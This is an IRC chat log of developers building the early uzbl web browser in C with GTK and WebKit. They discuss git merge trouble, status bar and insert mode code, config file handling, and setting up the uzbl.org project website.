12:04 <@Dieterbe> ah sorry, i was a bit confused, but i discovered other bugs
12:04 <@Dieterbe> printf ("Download manager: %s\n", history_file);
12:04 <@Dieterbe> printf ("Fifo directory: %s\n", history_file);
12:04 < fogobogo> mind the utf-8
12:04 <@Dieterbe> ..
12:05 < barrucadu> Yes, I just fixed that
12:05 <@Dieterbe> barrucadu: see above, in settings_init
12:05 <@Dieterbe> ok cool
12:05 < dusanx> ok, I'll merge your experimental and finish insert mode and title/status text
12:05 < dusanx> is key processing ok?
12:05 < dusanx> needs modifiers I'll add them today
12:07 <@Dieterbe> ah dusanx, didn't you say your code would be done on sunday morning :P
12:07 < dusanx> -ish, yes :)
12:07 < fogobogo> just asking. but... last time i checked printf didnt like non ascii chars. that might give some issues in case i download some japanese boobs no?
12:07 < dusanx> it's early :P
12:12 < dusanx> what the fuck!#$@#$
12:12 < dusanx> D, you just merged B's code?
12:17 <@Dieterbe> yep
12:17 < dusanx> git pull dieter experimental
12:17 <@Dieterbe> fogobogo: patches welcome :)
12:17 < dusanx> CONFLICT (add/add): Merge conflict in AUTHORS
12:17 < dusanx> CONFLICT (content): Merge conflict in README
12:17 < dusanx> CONFLICT (content): Merge conflict in TODOCONFLICT (add/add): Merge conflict in sampleconfig
12:17 <@Dieterbe> yeah, that's weird and I don't know why
12:18 <@Dieterbe> what I do is make a tmp clone somewhere else and copy the files over
12:18 < dusanx> so what should I do now?
12:18 <@Dieterbe> what i just said
12:18 <@Dieterbe> i'm gonna go in #github and ask
12:18 < dusanx> this is wrong
12:18 < dusanx> and not productive
12:19 < dusanx> can we learn how to do it right?
12:19 < dusanx> thanks
12:20 < barrucadu> You did git checkout dieter/experimental before pulling it, right?
12:20 < dusanx> yes
12:20 < dusanx> # On branch dieter/experimental
12:20 < dusanx> nothing to commit (working directory clean)
12:20 <@Dieterbe> dusanx: i'm asking on #github now..
12:20 < dusanx> thanks
12:21 < dusanx> this is going to grow and we must do it right
12:21 < fogobogo> Dieterbe: i fear my skills wont help there. i still have ~300 pages of pointers to read. but meanwhile: man wprintf
12:35 < barrucadu> Ooh, uzbl-browser.com is available...
12:37 <@Dieterbe> .com?? i prefer .org or so
12:37 < dusanx> yup, uzbl.org would be better
12:38 < barrucadu> 11:37:46 /home/barrucadu % whois uzbl-browser.org
12:38 < barrucadu> NOT FOUND
12:38 < barrucadu> 11:37:51 /home/barrucadu % whois uzbl.org
12:38 < barrucadu> NOT FOUND
12:38 < barrucadu> :D
12:40 < fogobogo> quick! before conficker takes it!
12:43  * barrucadu registers
12:43 < barrucadu> $7.97
12:43  * barrucadu goes to convert that to 'real' money
12:43 < barrucadu> £5.42 :)
12:44 < dusanx> wow
12:47  * barrucadu adds uzbl.org to his dreamhost account
12:48 < dusanx> nice one B
12:49 < dusanx> anything from #github?
12:50 <@Dieterbe> it's a complex story :/
12:50 <@Dieterbe> maybe you guys should join
12:51 <@Dieterbe> here's what has been said so far http://rafb.net/p/Meu54S85.html
12:51 <@Dieterbe> i still don't understand entirely
12:54 < dusanx> in other words... old guys zip method works better?!
12:54 < dusanx> this is horrible
12:56 <@Dieterbe> no no..
12:56 <@Dieterbe> man, I have this stupid bug with history
12:57 <@Dieterbe> for some reason, it's always the starting uri that gets logged
12:57 <@Dieterbe> i tried removing the "const" and "static", but didn't help
12:59 -!- barrucadu [n=barrucad@83.100.254.39] has quit [Read error: 54 (Connection reset by peer)]
12:59 < fogobogo> Dieterbe: may i have a look?
12:59 < dusanx> so what do I do? unzip your code and start from there?
13:00 <@Dieterbe> fogobogo: sure
13:00 < fogobogo> Dieterbe: have a link?
13:01 <@Dieterbe> fogobogo: look for the uri variable http://github.com/Dieterbe/uzbl/blob/94a267094d21b82517b81f7c9603da5c8577a1e4/uzbl.c also note the functions load_commit_cb and log_history_cb. one sets uri, the other one uses it. both are connect to the load_committed signal from webkit
13:05 < fogobogo> that c++ ?
13:05 < fogobogo> no wait
13:05 < fogobogo> nvm
13:09 < lwi> hey guys, does your webkit crashes too if you invoke webkit_web_view_move_cursor (web_view, GTK_MOVEMENT_VISUAL_POSITIONS, -1); twice? (which in needed later on for vimperator style movement)
13:12 < fogobogo> Dieterbe: due lack of skillz in cannot say all to much. but i suspect either the prototyping is no good or time somehow screws it
13:13 <@Dieterbe> prototyping?
13:13 < fogobogo> something like. int function(float)
13:14 < fogobogo> 1st is variable type that goes out and (float) is variable type going in. if i got that chapter right
13:15 <@Dieterbe> uh . yes
13:16 < fogobogo> time ( &rawtime ); <- what is that for? it aint used afaik
13:16 <@Dieterbe> uh.. yes it is
13:16 <@Dieterbe> look up what time() does
13:16 < fogobogo> oh 
13:17 < fogobogo> sorry. didnt look it up
13:18 < fogobogo> hmm
13:19 < fogobogo> actually. thats the only time() i can find
13:53 < dusanx> have to change settings parsing
13:54 < dusanx> maybe affects you too
13:54 < dusanx> D, did you changed anytning in that func?
13:56 <@Dieterbe> no dusanx 
13:58 < dusanx> boolean parsing is wrong for always insert
13:58 < dusanx> ok, changing
14:24 <@Dieterbe> i'm gonna be afk for an hour or so
14:28 < dusanx> uploading insert mode
14:34 < dusanx> it's up, you guys should try to merge changes, I need to work on non-insert mode more
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14:57  * barrucadu wishes he had a more reliable Internet connection...
14:57 < barrucadu> That, and parents who don't suddenly decide to whisk me away with little notice :p
15:01 -!- shortlord [n=shortlor@pD9FFFC94.dip.t-dialin.net] has joined #uzbl
15:02 < dusanx> nice :)
15:02 < dusanx> you there B?
15:02 < barrucadu> yes
15:03 < barrucadu> Did you get my message about the uzbl.org FTP/SSH details? My IRC skills aren't exactly brilliant :p
15:03 < dusanx> yes, thanks
15:03 < barrucadu> ok
15:04 < dusanx> I just uploaded proper insert handling
15:04 < dusanx> you may try it ;)
15:04 < dusanx> also check boolean handling in cofig read function
15:05 < barrucadu> I'm trying to pull your current code but git is complaining of an error. I'll investigate
15:06 < dusanx> its clean D code that I had to pull and modify // HATES GIT!!!
15:07 < barrucadu> It's complaining about the .gitignore file...
15:07 < barrucadu> Git is awkward :p
15:07 < dusanx> During the war...
15:08 < barrucadu> Aha! It pulled the code!
15:08 < dusanx> ...before internet was there, we all happily used zip files :P
15:08 < dusanx> brb
15:08 < barrucadu> I had to remove my .gitignore and compiled uzbl file though <.>
15:08 < barrucadu> :p
15:11 < dusanx> I am back
15:11 < dusanx> i and esc should work fine
15:11 < barrucadu> :D
15:12 < dusanx> but I need to work on modifier keys and hex values right now
15:13 < barrucadu> It's saying I have nothing to merge…
15:13  * barrucadu doesn't like git any more
15:13 < barrucadu> :p
15:13 < dusanx> I hate git from day one
15:15 < barrucadu> Why did you define GDK_Escape? The key syms are all in gdk/gdkkeysyms.h
15:15 < dusanx> was not sure if we want them, yes I will use include
15:18 < barrucadu> I've merged your code (which seemed to be much more complicated than merging Dieter's), let's see if I've done it properly this time…
15:18 < barrucadu> yes
15:19 < dusanx> why, I took his code and added few things? what am I doing wrong?
15:20 < barrucadu> Well, git complained when I pulled the branch for some reason
15:20 < dusanx> git is such a crap
15:22 < barrucadu> Hmm, I think we need some form of visual indication of whether you're in insert mode or not. Otherwise, if you have a couple of uzbl instances open, you could end up getting confused
15:23 < dusanx> see title bar ;)
15:23 < dusanx> [I] or [C]
15:23 < barrucadu> I have no title bars :p
15:23 < barrucadu> So I'll have to think of a solution
15:23 < barrucadu> Hmm
15:23 <@Dieterbe> barrucadu: that's odd. the diff between you and me was very small
15:23 <@Dieterbe> barrucadu: cause i merged from you at noon
15:24 < barrucadu> Dieterbe: get my message about the uzbl.org FTP/SSH details?
15:24 < dusanx> one line status bar we discussed?
15:24 <@Dieterbe> barrucadu: yep
15:24 < barrucadu> I'll delete the file then
15:25 < dusanx> whoa wait
15:25 < barrucadu> ...
15:25 < dusanx> I just looked there
15:25 < dusanx> need to paste :D
15:25 < barrucadu> File is back :p
15:26 < dusanx> ok, got it :)
15:26 < barrucadu> ok
15:27 < dusanx> I want to add mod keys
15:27 < dusanx> and hex values too
15:27 < dusanx> all changes will be in key handling function
15:35 <@Dieterbe> guys i have an idea
15:35 <@Dieterbe> i will make the history logging an external handler script, like bookmarking
15:35 < dusanx> nice
15:35 < barrucadu> great
15:35 <@Dieterbe> so you have freedom to log the fields you want (date/url/page title) and how you want (plaintxt, sqlite ,..)
15:35 < dusanx> that's better than internal
15:36 <@Dieterbe> yea
15:36 < dusanx> what about small status bar?
15:36 <@Dieterbe> what about it?
15:36 < dusanx> I dont need it but B does
15:37 < dusanx> bc he does not have titles
15:37 < dusanx> do we have it now?
15:40 < barrucadu> A shortcut to toggle showing/hiding a small status bar that contains the same text as the title would be an ideal solution
15:41 < dusanx> actually if status is visible title will show much less but yea
15:41 < dusanx> shortcut or settings? both?
15:42 < barrucadu> A shortcut defined in the config file, plus an always_show_status variable would satisfy most people, I think
15:43 < dusanx> just show_status without always?
15:43 < barrucadu> ok
15:44 < barrucadu> I'll edit my sampleconfig and push the change now.
15:44 < dusanx> great
15:46 <@Dieterbe> yep that sounds good
15:46 <@Dieterbe> and if you toggle the statusbar, only show "page title - uzbl" in the title
15:47 < barrucadu> Done. Now I'll just update settings_init()
15:47 < dusanx> how about creating small titlebar and write some text in it? I have no idea how to do that :(
15:48 < dusanx> sorry not title, statusbar
15:49 < barrucadu> Committed the change to settings_init() :)
15:49 < barrucadu> I'll now work on something for the website now - if only a "Hello! Things will be here soon!" page
15:49 < dusanx> great
15:51 <@Dieterbe> barrucadu: what can you run? do you have php/python/ruby/mysql/.. on your host?
15:52 < barrucadu> Dieterbe: I've never tried anything other than PHP; so I know for certain it has PHP 5 and MySQL 5. Not sure of the exact versions, but I haven't encountered any things that haven't worked.
15:52 < barrucadu> Ruby on Rails can be added, but I'm not sure how
15:52 < barrucadu> And I have no clue about Python
15:53 <@Dieterbe> k, just curious
15:53 <@Dieterbe> php will do fine :)
15:55 < rson> are you guys hosting it on a subdomain or did you buy one?
15:55 < barrucadu> Bought one - uzbl.org
15:55 < rson> sweet
15:56 < dusanx> uhm guys, B's code does not create statusbar, do I take parts of old D code that does that?
16:00 < rson> just so you guys know, this has been submitted to reddit by someon
16:01 < rson> http://www.reddit.com/r/linux/comments/8fkdt/independent_vimperator/
16:02 < dusanx> nice
16:02 < barrucadu> What colour scheme do we want for the uzbl website? Something like the Arch site? (I'm basing the design on that)
16:03 < dusanx> b/w ascii
16:03 < barrucadu> White-on-black or black-on-white?
16:03 < dusanx> but dont ask mee :)
16:03 < barrucadu> :p
16:04 < barrucadu> I'm currently repeatedly clicking random palette on colourlovers.com to see if I find anything nice :p
16:04 <@Dieterbe> not white on black, all the black would be too much
16:04 < barrucadu> ok
16:04 < barrucadu> So something light-ish then
16:05 <@Dieterbe> yeha
16:05 < rson> I'm a fan of the colors on the sonata site
16:05 < rson> if you are going for light
16:05 <@Dieterbe> http://sonata.berlios.de/ this?
16:05 < rson> yeah
16:05 < barrucadu> Yes, that looks good
16:05 <@Dieterbe> looks good to me too, but it doesn't look like they used some available open source template
16:06 < rson> i'm not sure.  stonecrest is usually in #archlinux if you like the design
16:06 <@Dieterbe> barrucadu: do you have a fix for zbl.c:387: warning: format ‘%s’ expects type ‘char *’, but argument 2 has type ‘gboolean’ ?
16:08 < barrucadu> I get a lot of warnings when I compile uzbl. I'll see if I get that particular one.
16:08 <@Dieterbe> it's the setting that was changed from gchar to gboolean
16:08 <@Dieterbe> probably a printf
16:08 < dusanx> yes, we should clean warnings
16:09 < barrucadu> Ah, that. dusanx fixed that one
16:09 < barrucadu> printf ("Always insert mode: %s\n", (always_insert_mode ? "TRUE" : "FALSE"));
16:10 < dusanx> and line above that reads boolean
16:11 <@Dieterbe> okay great
16:11 <@Dieterbe> we are such a great team :)
16:11 < dusanx> ;)
16:11 < dusanx> but I still hate git!
16:12 < barrucadu> Go team!
16:12 < barrucadu> :p
16:14 < dusanx> do we need to add anything else to set reading?
16:14 < dusanx> I mean in next 24 hours?
16:15 <@Dieterbe> set reading?
16:15 < dusanx> settings
16:15 < barrucadu> Not that I can think of
16:15 < barrucadu> Unless we come up with some new config values which we can't live without :p
16:15 < dusanx> good, I want to tweak code
16:16 < dusanx> in that function, key processing and status/title bars
16:16 < barrucadu> ok
16:19 <@Dieterbe> I love the network graph feature :) http://github.com/Dieterbe/uzbl/network doesn't it look beautiful?
16:20 <@Dieterbe> hey, your guys nicknames are gone on the left
16:20 <@Dieterbe> o_O
16:20 < dusanx> yes except I can't use it argh
16:20 <@Dieterbe> well, one thing i got from talking on #github
16:21 <@Dieterbe> instead of pulling some else his stuff into <username>/hisbranch, and then merging that
16:21 <@Dieterbe> you can merge directly from the remote
16:21 < dusanx> how?
16:21 <@Dieterbe> next merge i'll try that, hopefully that also puts your names back on the graph
16:21 < barrucadu> git merge git://url/here ?
16:21 <@Dieterbe> not sure yet
16:21 < dusanx> thanks
16:22 < barrucadu> Our names are gone from your graph because you've added all of our commits - the graph shows the commits that you don't have
16:22 < dusanx> I'll do old kill all thing with B code right now :(
16:22  * barrucadu has read the blog post explaining the graph twice, and probably understands it now
16:22 <@Dieterbe> barrucadu: oh.
16:22 <@Dieterbe> i've read it a few times but i always forget how it works :P
16:22 < barrucadu> :p
16:25 <@Dieterbe> did anyone work on the calling of external processes yet? i mean the actual exec() or shell() or whatever calls, not the keybinds
16:25 <@Dieterbe> if not, i want to do that now
16:25 < barrucadu> I don't think so
16:25 < dusanx> not me
16:26 <@Dieterbe> k. i'll do that now
16:58 < barrucadu> Current work-in-progress website design: 
16:58 < barrucadu> http://www.uzbl.org/template.html
16:58 < barrucadu> I'm going to walk the dog now, so I'll be back in half an hour or so :)
16:59 < dusanx> niiiice :) not too crowded, I like it!
17:00 <@Dieterbe> wow. g_string_append_printf and similar functions are cool
17:00 < dusanx> indeed
17:14 < shortlord> is there any AUR git PKGBUILD planned?
17:14 -!- dusanx [n=dusanx@93.87.137.234] has quit ["Lost terminal"]
17:14 < shortlord> I have absolutely no idea about how to use git, but would like to test uzbl
17:14 < shortlord> and a second question, will the browser be usable with one hand on mouse, on hand on keyboard?
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17:15 < dusanx> oops wrong key
17:21 <@Dieterbe> shortlord: yeah, i'll make a pkgbuild at some point
17:21 <@Dieterbe> and yeah , dusanx is also a one hand on each kind of guy
17:21 <@Dieterbe> the keybinds can be configured as you wish, with modkeys and all that
17:22 < dusanx> almost done ;)
17:22 <@Dieterbe> oh yeah baby
17:23 <@Dieterbe> the external script call thingie works
17:23 < shortlord> sounds great
17:23 < dusanx> Dieterbe, where is that code where you created fake status bar?
17:24 < dusanx> with status text?
17:26 <@Dieterbe> the bar that i wrote containd only a gtk text entry thing for the url.  but now i removed that text entry thing, so the bar is actually empty
17:26 <@Dieterbe> see create_mainbar 
17:28 < dusanx> ok
17:28 < dusanx> thanks
17:33 <@Dieterbe> interesting read indeed http://github.com/blog/39-say-hello-to-the-network-graph-visualizer
17:47 < barrucadu> I'm back :)
17:47 < barrucadu> Any suggestions or requests for the website?
17:48 < barrucadu> I plan to use a wordpress blog and just turn that into a theme
17:50 < barrucadu> If there's nothing else I'll begin turning it into a theme
17:50 < dusanx> I like it
17:51 < dusanx> my monitor is about to blow btw
17:53 <@Dieterbe> :o
17:55 <@Dieterbe> install target for makefile: check, pull in changes to master: check, put pkgbuild on AUR: check
17:56 < dusanx> secondary one but almost dead, making text waves right now
17:56 <@Dieterbe> that's not good
17:59  * barrucadu goes to install wordpress on uzbl.org
17:59  * barrucadu realises that he hasn't created a database yet
17:59 < barrucadu> There's always something...
18:01 <@Dieterbe> barrucadu: hey wait before you begin
18:01 <@Dieterbe> wordpress is a bit anti unix-philosophy don't you think? i mean.. with the database and all
18:01 <@Dieterbe> i know there are tools out there that can render pages from plain txt files
18:02 < barrucadu> Ok, we'll use one of those then :)
18:02 < barrucadu> I just picked wordpress because it's what I know
18:04 <@Dieterbe> hm i can't immediately find the project i was thinking of
18:04 <@Dieterbe> maybe for now we can use actual static files?
18:05 <@Dieterbe> 3-4 static php/html pages :)
18:05 < barrucadu> ok
18:06 <@Dieterbe> hey wait a minute
18:06 < barrucadu> I'll just get the recent commits feature working then I'll create some pages
18:06 < barrucadu> yes?
18:07 <@Dieterbe> i was thinking "if we use plain html/php files, we can even put them in our uzbl git repos"
18:07 < barrucadu> We could
18:07 <@Dieterbe> but then i remembered github actually supports rendering pages straight from inside your repo
18:07 <@Dieterbe> eg you put some pages in a specific directory, and github makes them available
18:08 <@Dieterbe> but of course it's a tad less feasible to combine with the uzbl.org domain i guess
18:09 <@Dieterbe> look at this for example http://defunkt.github.com/ambition/
18:09 <@Dieterbe> rendered straight from some files in your git repo
18:09 <@Dieterbe> or http://technicalpickles.github.com/jeweler/
18:11 <@Dieterbe> here is a ruby plaintext to html conversion thing http://webby.rubyforge.org/
18:11 <@Dieterbe> github also supports it btw
18:12 <@Dieterbe> and finally : http://github.com/mojombo/jekyll/tree/master (also supported with github pages)
18:14 <@Dieterbe> could anyone do me a favor and figure out why history logging always logs the same uri? (archlinux.org). it's probably a very simple thing but I don't get it
18:16 < dusanx> I am back. No more git please. I am using all git I can handle.
18:17 < barrucadu> load_commit_cb: shouldn't that function be... completely different if you're setting the global uri variable?
18:17 < barrucadu> strcpy (uri, webkit_web_frame_get_uri (frame)); would do it, I think
18:19 <@Dieterbe> barrucadu: yes! thanks mate
18:19 < dusanx> when I create gtk box it takes half of the window. how to make it smaller?
18:20 <@Dieterbe> there is a default size defined
18:20 <@Dieterbe> gtk_window_set_default_size (GTK_WINDOW (window), 800, 600);
18:20 <@Dieterbe> I wouldn't bother about this.  it's up to the WM to handle this
18:21 < dusanx> no, hox taks upper window half
18:22 < dusanx> hbox
18:23 < barrucadu> I can't find the specific function in the GTK+ reference, but there are two boolean values that affect the space it takes up - expand and fill. Set the first to FALSE.
18:24 < dusanx> ok, I have something now
18:24 <@Dieterbe> btw dusanx in MsgBox I think it should be "gtk_message_dialog_new ((GtkWindow*) main_window," otherwise you get an "incompatible pointer type" warning
18:25 < dusanx> cool, I will change
18:27 <@Dieterbe> but I think we should remove the function.  i mean what is the use of this function? Will we ever show a popup to the user? maybe if there is really something badly wrong we should show a red message in the status bar or something, but a gtk popup?
18:28 < dusanx> no, it was mine printf fails want to see results fast lol
18:28 < dusanx> removing
18:31 <@Dieterbe> ok. did anyone do something with command line arguments? if not i will do that now.. so you can pass --config <configfile> etc
18:33 < dusanx> not me
18:35 < barrucadu> nope
18:35 <@Dieterbe> btw dusanx your wife is not mad you spend the whole weekend hacking? :P
18:36 < dusanx> she is used to ;)
18:36 < dusanx> I usually do this for a living...
18:37 < dusanx> During the war... ok ok since 1990 ;)
18:38 <@Dieterbe> :D
18:39 < dusanx> can you tind me git link with original create_mainbar code? that one with edit?
18:39 < dusanx> I am doing something wrong
18:39 < dusanx> tind=find of course
18:43 <@Dieterbe> #define original?
18:43 <@Dieterbe> the one that i made with the gtk text entry in it?
18:43 <@Dieterbe> or when i removed the entry?
18:44 < dusanx> edit or text just to see how
18:45 < dusanx> text one is better but edit will do
18:46  * barrucadu has got the "Recent Commits" thing working on the website :)
18:47 <@Dieterbe> dusanx: here is where i stripped out the text thingie http://github.com/Dieterbe/uzbl/commit/76449af7e00548911fd75aa61fff5224a42dd346
18:47 <@Dieterbe> barrucadu: cool
18:48 <@Dieterbe> barrucadu: how does it work? you just scrape the page or is there a feed/api or ..?
18:49 < dusanx> thanks
18:50 < barrucadu> Dieterbe: Github has Atom feeds for commits, so it was just a case of grabbing those and getting the most recent items
18:51 <@Dieterbe> k
19:04 < dusanx> any nopaste working for you right now? can't access any
19:05 < dusanx> want you to see this code, its something simple but I can't find it
19:08 <@Dieterbe> http://pastie.org/
19:09 < dusanx> http://pastie.org/458774
19:10 < dusanx> can you pls try and see :(
19:11 <@Dieterbe> k just a sec
19:12 <@Dieterbe> heh
19:12 <@Dieterbe> the gray box is a bit big indeed
19:12 <@Dieterbe> ;)
19:12 < dusanx> lol
19:15 < dusanx> brb
19:16 <@Dieterbe> weird, because i remember my bar at some point was only very small. also the one in barrucadu's code was small
19:16 <@Dieterbe> dusanx barrucadu any idea how i can toggle the status bar on and off with the recent code?
19:17 <@Dieterbe> hmm.. 'S' but that segfaults :P
19:20 < dusanx> I will find how to toggle it ir you make it small :P
19:20 < barrucadu> When I finish playing with the website I'll merge both of your code and also have a look at this bar :p
19:20 < dusanx> I will add switch top/bottom too
19:21 <@Dieterbe> i hate layout
19:21 < barrucadu> I just need to think of something to make the 'contribute' page less empty...
19:22 <@Dieterbe> barrucadu: the current text is ok
19:22 <@Dieterbe> don't fill the page with too much text
19:22 <@Dieterbe> less is more :)
19:22 < barrucadu> Ok. I'll fiddle around to make it look less empty without adding more text then :p
19:23 < barrucadu> Possibly "Users" and "Developers" headings, with the relevant bit of text beneath each
19:23 <@Dieterbe> maybe a list with some bullet points
19:23 <@Dieterbe> (as all the best people do),
19:23 <@Dieterbe> don't write stuff like that
19:23 < barrucadu> ok :( :p
19:24 <@Dieterbe> maybe put "our distro of choice" or something
19:24 <@Dieterbe> but not something that can lead to flamewars/trolling
19:24 < dusanx> borderless, right :P
19:24 <@Dieterbe> hah
19:25 < dusanx> still remember that 'support arch' guy
19:25 <@Dieterbe> that was a joke.. ( dusanx i hope you were not related to that project  :P )
19:25 < dusanx> no, I was rude to him
19:26 <@Dieterbe> :)
19:26 < dusanx> it was so blatant I still can't believe
19:27 < dusanx> any smaller hbox boss?
19:27 <@Dieterbe> barrucadu: before you announce the website in public places, can you give me the chance to correct things i don't like?
19:27 < barrucadu> Go for it
19:27 <@Dieterbe> maybe make a subdirectory in the git repo "website" or something
19:27 < dusanx> we need wiki soon too, at least to describe switches
19:28 < barrucadu> Is it really necessary to put the website in git too? That just seems to be over complicating things. You have FTP and SSH access.
19:28 <@Dieterbe> i would rather put that stuff in the readme, and if then get the website to show the readme, we have it in 2 places
19:29 < dusanx> ok
19:29 <@Dieterbe> barrucadu: well putting the code in a vcs is useful for history/version control/.. and also for backup
19:29 < dusanx> No git!
19:29 <@Dieterbe> and if we put it in "a vcs" we might as well put it in our git repo
19:29 < barrucadu> True
19:30 < barrucadu> Perhaps in a separate repo? uzbl-website or something?
19:30 <@Dieterbe> dusanx: next time you want to do a merge or something, can you maybe give me ssh to access to your box, then i can help/show you
19:31 <@Dieterbe> because git is really quite nice
19:31 <@Dieterbe> barrucadu: okay that's good
19:31 < barrucadu> I'll make a repo in a short while then
19:33 < dusanx> I will get it eventually
19:34 <@Dieterbe> dusanx: oh and for the bar. didn't you say you would fix the toggling on/off of the bar, then i would fix the bar size for you :P
19:35 < dusanx> lol
19:35 < dusanx> working
19:36 < barrucadu> http://github.com/Barrucadu/uzbl-website/tree/master
19:37 <@Dieterbe> i'm going to eat now. see you later
19:38 < dusanx> see you
19:38 < barrucadu> bye
19:44 < barrucadu> Right, now I'll merge all the commits I've missed
19:48 < dusanx> Dieterbe: gtk_widget_hide(mainbar); gtk_widget_show(mainbar);
19:56 < dusanx> brb
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20:08 < bruenig> this browser is such bloat
20:08 < barrucadu> Bloat?
20:09 < bruenig> nah just kidding
20:09 < bruenig> in any event, it just segfaults on me
20:10 < barrucadu> Which branch are you using, Dieterbe's master branch?
20:10 < bruenig> just a second
20:11 < bruenig> I was using the aur version
20:12 < bruenig> ought I to get the git
20:12 < barrucadu> That's the master branch then. I haven't had segfaults on start up for quite a while so it might just be an unmerged bugfix
20:12 < barrucadu> Hmm
20:12 < barrucadu> Try the experimental branch and see what happens
20:13 < bruenig> well it does some stuff, but nothing significant
20:14 < barrucadu> I've just compiled the master branch and got no segfaults
20:14  * barrucadu thinks
20:14 < bruenig> http://pastebin.ca/1403440
20:15 <@Dieterbe> back
20:16 <@Dieterbe> it probably segfaults because it looks for ./sampleconfig
20:16 <@Dieterbe> i need to fix that
20:17 <@Dieterbe> hey barrucadu or dusanx : does any of you guys have cat that you could make a picture of?
20:17 < barrucadu> Unfortunately no, my cat died several years ago :(
20:17 < fogobogo> dig it up
20:17 < barrucadu> lol
20:18 < fogobogo> Dieterbe: need a logo or what?
20:18 < dusanx> got 7
20:18 < dusanx> cats
20:18 <@Dieterbe> fogobogo: yeah it would be cool
20:19 < fogobogo> Dieterbe: and you thought of a cat?
20:19 <@Dieterbe> dusanx: super. can you load up a page in uzbl, put your cat in front of the screen and make some pictures ? :D
20:19 <@Dieterbe> fogobogo: of course!
20:19 < barrucadu> Dieterbe: I'll work on handling a missing config file - and add support for XDG_CONFIG_HOME
20:19 < bruenig> Dieterbe: ought I to drop that in the cwd and see?
20:19 < dusanx> yea yea splash screen for uzbl / PMSL kidding
20:20 < dusanx> cant do that, they are street cats, sleep in my garage and I feed them
20:20 < fogobogo> Dieterbe: all right. lemme contribute that way. i need a day or two though. if you dont like it nvm, will sell then to louvre or so
20:20 < bruenig> ah it works with ./sampleconfig!
20:21 <@Dieterbe> barrucadu: okay. note that i committed support for a --config argument an hour ago or so. so you just need to set it from that instead of having it hardcoded like it is now
20:21 < dusanx> Dieterbe: gtk_widget_hide(mainbar); gtk_widget_show(mainbar);
20:22 <@Dieterbe> dusanx: yes yes yes :P
20:24 < barrucadu> Dieterbe: Ok, I'll do that. When that's done I'll commit, and begin working on looking in different paths (./, $HOME/, and $XDG_CONFIG_HOME/ I think should be enough)
20:24 < dusanx> but I will do that, what do you want witn it?
20:24 < dusanx> hide/show
20:25 <@Dieterbe> barrucadu: no, that's not how the xdg spec works
20:26 <@Dieterbe> barrucadu: it's best you read all of http://standards.freedesktop.org/basedir-spec/basedir-spec-0.6.html
20:26  * barrucadu reads
20:31 < dusanx> can somebody help with huge hbar? :D
20:32 <@Dieterbe> patience!
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20:41 < barrucadu> It seems the config file parameter isn't being picked up for some reason
20:41 <@Dieterbe> hm? if you do --config <file> it should set the config_file parameter
20:41 < barrucadu> Ah1
20:41 < barrucadu> the settings_init() function is before the params are parsed
20:42 <@Dieterbe> fogobogo: okay good. so you make a picture of your cat behind the pic screen. preferrably make the screen show some fancy tiled layout with uzbl showing or something ;)
20:43 < dusanx> showing arch site of course ;)
20:44 <@Dieterbe> this is odd.. when i look at the code (my current code , i mean) it looks like the mainbar should be shown. it's not set to invisible or anything. dusanx / barrucadu any idea?
20:44 < dusanx> I had to add init in main iirc
20:51 <@Dieterbe> no dusanx , in your main() there is only gtk_init (&argc, &argv); and settings_init ();, and those are there since the beginning
20:52 < dusanx> have no idea
20:53 < dusanx> gtk_box_pack_start (GTK_BOX (vbox), create_mainbar (), TRUE, TRUE, 0);
20:53 < dusanx> do you have that line?
20:54 < barrucadu> Shouldn't that be gtk_box_pack_start (GTK_BOX (vbox), create_mainbar (), FALSE, TRUE, 0); if you don't want it to take up masses of space?
20:54 < barrucadu> Or maybe it was TRUE, FALSE. I'm not certain
20:54 < dusanx> have no idea about gtk
20:56 < dusanx> great!
20:56 < barrucadu> Oh, I fixed the segfaulting when no config file is specified - it just runs without configuration (not very useful, but better than segfaulting)
20:56 < dusanx> it works
20:56 < barrucadu> :)
20:56 < dusanx> thanks
20:57 < dusanx> so, I will finish status with top/bottom and hide/show
20:57 < dusanx> ok?
20:57 <@Dieterbe> weird, i tried all TRUE/False combinations and either i got no mainbar, or the really big one :/
20:57 <@Dieterbe> yes dusanx that's good
20:57  * barrucadu goes to eat
20:58 < dusanx> B, you are nasty hacker for your age ;)
20:58 <@Dieterbe> hehe
20:58 <@Dieterbe> yeah and for having learned C just a few days ago he's quite good
20:59 <@Dieterbe> very good, actually
21:02 < dusanx> should I add toggle_status to other messages? do we need to call that using stream?
21:03 <@Dieterbe> what other messages? do you mean if we want to control it with the fifo?
21:04 < dusanx> yes, I am using that function to avoid duplicated code
21:06 < dusanx> but not sure if I should put code in key handling procedure -- depends if you need it in fifo?
21:07 <@Dieterbe> well, imho , all the commands you can call from keybinds should also be available through the fifo
21:07 < dusanx> yes, I'll add it there, much simpler to code
21:32 <@Dieterbe> barrucadu: let me know when you're back from eating, i'm refactoring your config output messages a bit
21:35 < barrucadu> back
21:36 <@Dieterbe> ok in 4 mins or so i can commit the refactored settings_init
21:36 < barrucadu> ok
21:37 <@Dieterbe> how do you check if a gchar ** foo is set?
21:37 <@Dieterbe> if(foo) works?
21:37 < dusanx> I am chahging settings_init
21:37 < dusanx> as agreed argh
21:38 <@Dieterbe> what?
21:38 < dusanx> I am chahging settings_init
21:38 <@Dieterbe> i am too
21:38 <@Dieterbe> what are you changing?
21:38 < dusanx> I asked before if we need anything else since I need to add things
21:39 < dusanx> status_top = g_key_file_get_boolean (config, "behavior", "status_top", NULL); printf ("Status top: %s\n", (status_top ? "TRUE" : "FALSE"));   
21:39 <@Dieterbe> ah no problem
21:39 < dusanx> but I wanted to change error handling there
21:40 < dusanx> after I finish statusbar (2 mins to go)
21:40 < dusanx> you can add this two lines there and continue -- I'll merge it later
21:41 < dusanx> since it was not top priority for me
21:41 < dusanx> you work on better handling?
21:43 <@Dieterbe> i basically reorganized all the functions internally without adding or removing functionality
21:44 <@Dieterbe> the advantage is that now all variables are checked _after_ the config loading, so also when no config is loaded, you see confirmation that download_handler etc are not set
21:44 < dusanx> ok, give me 5 minutes, I will upload changes and then you can mrge them
21:44 <@Dieterbe> first this only happened if you loaded a config successfully
21:44 <@Dieterbe> ok
21:44 < dusanx> merge lol
21:45 <@Dieterbe> barrucadu: you can pull from my experimental now
21:45 < barrucadu> ok
21:47 < dusanx> hmm, how should add toggle_status command to the list?
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21:47 <@Dieterbe> add it to commands[] ?
21:47 < dusanx> no parameters and nothing to do with webkit
21:48 <@Dieterbe> you just need a function that toggles
21:48 <@Dieterbe> and add &<yourfunction>
21:48 < dusanx> , null?
21:48 <@Dieterbe> typedef struct
21:48 <@Dieterbe> { const char *command; void (*func_1_param)(WebKitWebView*); void (*func_2_params)(WebKitWebView*, char *);
